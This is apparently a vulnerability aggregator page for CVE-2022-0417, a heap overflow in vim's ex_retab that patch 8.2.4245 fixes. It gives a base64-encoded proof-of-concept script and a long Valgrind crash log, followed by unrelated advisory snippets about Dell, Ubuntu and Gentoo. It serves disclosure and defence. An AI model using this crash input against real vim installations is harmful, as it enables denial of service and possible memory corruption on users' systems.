Headline

CVE-2022-0417: Heap-based Buffer Overflow in vim

Heap-based Buffer Overflow GitHub repository vim/vim prior to 8.2.

2 years ago

CVE

Open in Source

#git #ldap #buffer_overflow

Description

Heap Overflow in ex_retab.

This issue was created to separate the previous issue.

This bug has already been fixed with patch 8.2.4245.

Proof of Concept

$ echo -ne "bm9ybTBvMDAwMDAwMDAwMDAwMDAwMDAwMDD/MJMwMDAKc2lsIW5vcm0WYxwwMAkwCmZ1IFJldGFi
KGcsbikKZXhlInJldCJhOm4KZW5kZgpjYWwgbCgiIixSZXRhYigwLDMpCnNlIHRhYnN0b3A9NTUw
MDAwMDAwMApjYWwgbCgiIixSZXRhYigwLDAp" | base64 -d > poc

# Valgrind
./vg-in-place -s ~/fuzzing/vim-valgrind/src/vim -u NONE -i NONE -n -X -Z -e -m -s -S minimized -c ":qa!"
==1527416== Memcheck, a memory error detector
==1527416== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1527416== Using Valgrind-3.19.0.GIT and LibVEX; rerun with -h for copyright info
==1527416== Command: /home/alkyne/fuzzing/vim-valgrind/src/vim -u NONE -i NONE -n -X -Z -e -m -s -S minimized -c :qa!
==1527416==
==1527416== Invalid write of size 1
==1527416==    at 0x4846713: memmove (vg_replace_strmem.c:1382)
==1527416==    by 0x21E56C: ex_retab (indent.c:1731)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24cd1 is 0 bytes after a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid write of size 1
==1527416==    at 0x4846713: memmove (vg_replace_strmem.c:1382)
==1527416==    by 0x21E5A7: ex_retab (indent.c:1732)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid read of size 1
==1527416==    at 0x21E676: ex_retab (indent.c:1750)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==    by 0x197EE0: eval7 (eval.c:3746)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid read of size 1
==1527416==    at 0x4032A7: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid read of size 1
==1527416==    at 0x4031A7: ptr2cells (charset.c:705)
==1527416==    by 0x403307: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid read of size 1
==1527416==    at 0x4031C0: ptr2cells (charset.c:708)
==1527416==    by 0x403307: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== Invalid read of size 1
==1527416==    at 0x23CB56: utfc_ptr2len (mbyte.c:2107)
==1527416==    by 0x21E6BE: ex_retab (indent.c:1754)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== HEAP SUMMARY:
==1527416==     in use at exit: 69,687 bytes in 387 blocks
==1527416==   total heap usage: 1,381 allocs, 994 frees, 245,099 bytes allocated
==1527416==
==1527416== LEAK SUMMARY:
==1527416==    definitely lost: 0 bytes in 0 blocks
==1527416==    indirectly lost: 0 bytes in 0 blocks
==1527416==      possibly lost: 0 bytes in 0 blocks
==1527416==    still reachable: 69,687 bytes in 387 blocks
==1527416==         suppressed: 0 bytes in 0 blocks
==1527416== Rerun with --leak-check=full to see details of leaked memory
==1527416==
==1527416== ERROR SUMMARY: 35 errors from 7 contexts (suppressed: 0 from 0)
==1527416==
==1527416== 1 errors in context 1 of 7:
==1527416== Invalid read of size 1
==1527416==    at 0x23CB56: utfc_ptr2len (mbyte.c:2107)
==1527416==    by 0x21E6BE: ex_retab (indent.c:1754)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 1 errors in context 2 of 7:
==1527416== Invalid read of size 1
==1527416==    at 0x4031C0: ptr2cells (charset.c:708)
==1527416==    by 0x403307: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 1 errors in context 3 of 7:
==1527416== Invalid read of size 1
==1527416==    at 0x4031A7: ptr2cells (charset.c:705)
==1527416==    by 0x403307: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 1 errors in context 4 of 7:
==1527416== Invalid read of size 1
==1527416==    at 0x4032A7: chartabsize (charset.c:775)
==1527416==    by 0x21E697: ex_retab (indent.c:1752)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 1 errors in context 5 of 7:
==1527416== Invalid read of size 1
==1527416==    at 0x21E676: ex_retab (indent.c:1750)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==    by 0x197EE0: eval7 (eval.c:3746)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 1 errors in context 6 of 7:
==1527416== Invalid write of size 1
==1527416==    at 0x4846713: memmove (vg_replace_strmem.c:1382)
==1527416==    by 0x21E5A7: ex_retab (indent.c:1732)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24ccf is 1 bytes before a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416==
==1527416== 29 errors in context 7 of 7:
==1527416== Invalid write of size 1
==1527416==    at 0x4846713: memmove (vg_replace_strmem.c:1382)
==1527416==    by 0x21E56C: ex_retab (indent.c:1731)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==    by 0x387D3D: get_func_tv (userfunc.c:1778)
==1527416==    by 0x194971: eval_func (eval.c:2103)
==1527416==  Address 0x4c24cd1 is 0 bytes after a block of size 1 alloc'd
==1527416==    at 0x483C855: malloc (vg_replace_malloc.c:381)
==1527416==    by 0x13DBF0: lalloc (alloc.c:248)
==1527416==    by 0x13DA8F: alloc (alloc.c:151)
==1527416==    by 0x21E53F: ex_retab (indent.c:1727)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x19D040: ex_execute (eval.c:6494)
==1527416==    by 0x1C95B6: do_one_cmd (ex_docmd.c:2567)
==1527416==    by 0x1C6841: do_cmdline (ex_docmd.c:993)
==1527416==    by 0x38A200: call_user_func (userfunc.c:2805)
==1527416==    by 0x38A7E8: call_user_func_check (userfunc.c:2952)
==1527416==    by 0x38B819: call_func (userfunc.c:3499)
==1527416==
==1527416== ERROR SUMMARY: 35 errors from 7 contexts (suppressed: 0 from 0)

Impact

Heap overflow may lead to exploiting the program, which can allow the attacker to execute arbitrary code.

Dell Streaming Data Platform prior to 1.4 contains Open Redirect vulnerability. An attacker with privileges same as a legitimate user can phish the legitimate the user to redirect to malicious website leading to information disclosure and launch of phishing attacks.

1 year ago

CVE

Open in Source

#sql #vulnerability #web #google #linux #apache #nodejs #js #git #java #kubernetes #samba #pdf #log4j #ssh #dell #mongo #postgres #ssl

Ubuntu Security Notice USN-5801-1

Ubuntu Security Notice 5801-1 - It was discovered that Vim makes illegal memory calls when pasting brackets in Ex mode. An attacker could possibly use this to crash Vim, access or modify memory, or execute arbitrary commands. This issue affected only Ubuntu 20.04 and 22.04 It was discovered that Vim makes illegal memory calls when making certain retab calls. An attacker could possibly use this to crash Vim, access or modify memory, or execute arbitrary commands.

1 year ago

Packet Storm

Open in Source

#vulnerability #ubuntu

Scanvus now supports Vulners and Vulns.io VM Linux vulnerability detection APIs

Hello everyone! Great news for my open source Scanvus project! You can now perform vulnerability checks on Linux hosts and docker images not only using the Vulners.com API, but also with the Vulns.io VM API. It’s especially nice that all the code to support the new API was written and contributed by colleagues from Vulns.io. […]

2 years ago

Alexander V. Leonov

Open in Source

#sql #vulnerability #web #ubuntu #linux #debian #perl #ldap #amd #ssh #ibm #docker #chrome #firefox #sap #ssl #blog

Gentoo Linux Security Advisory 202208-32

Gentoo Linux Security Advisory 202208-32 - Multiple vulnerabilities have been discovered in Vim, the worst of which could result in denial of service. Versions less than 9.0.0060 are affected.

2 years ago

Packet Storm

Open in Source

#vulnerability #web #mac #linux #dos